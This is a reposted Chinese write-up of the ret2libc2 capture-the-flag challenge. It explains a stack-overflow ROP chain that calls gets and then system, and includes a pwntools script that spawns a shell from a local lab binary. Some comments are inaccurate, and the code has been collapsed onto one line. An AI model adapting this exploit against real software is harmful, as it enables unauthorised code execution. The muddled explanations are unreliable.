本文共 916 字,大约阅读时间需要 3 分钟。
ret2libc2 问题的解决方法可以分为以下步骤:
分析目标:目标是通过利用栈溢出攻击,在程序中执行 /bin/sh
。
理解PLT 表:利用PLT表中的 _system
函数进行层级跳转,确保函数返回到正确的位置以避免无限循环。
构造栈溢出攻击:通过构造一个栈溢出 payload,利用已知的函数返回地址和参数位置,确保控制权返回到 system
并传递正确的参数 /bin/sh
。
利用 _system
函数:确保在 system
函数的参数中传递一个指向 sh
的指针,从而触发其执行。
以下是实现该攻击的具体 payload 构造步骤:
from pwn import *# 定义变量bss_addr = 0x0804A080gets_plt = 0x08048460sys_plt = 0x08048490pop_ret = 0x0804843d# 初始化过程io = process('./ret2libc2')io.recvuntil('What do you think ?')# 构造 payloadpayload = b'A' * 112payload += p32(gets_plt) # 调用 gets 函数payload += p32(pop_ret) # 跳转到返回点payload += p32(bss_addr) # 调用 bss 段的地址payload += p32(sys_plt) # 调用 _system 函数payload += b'aaaa' # 显存填充payload += p32(bss_addr) # 再次调用 bss 段的地址# 发送 payloadio.sendline(payload)io.sendline(b'/bin/sh')io.interactive()
gdb
进行调试,验证攻击是否成功,确保程序流程如预期执行,且没有遗漏或错误。通过以上方法,可以有效地将控制权转移到 system
函数,并执行所需的代码片段,从而完成攻击目标。
转载地址:http://yjzsz.baihongyu.com/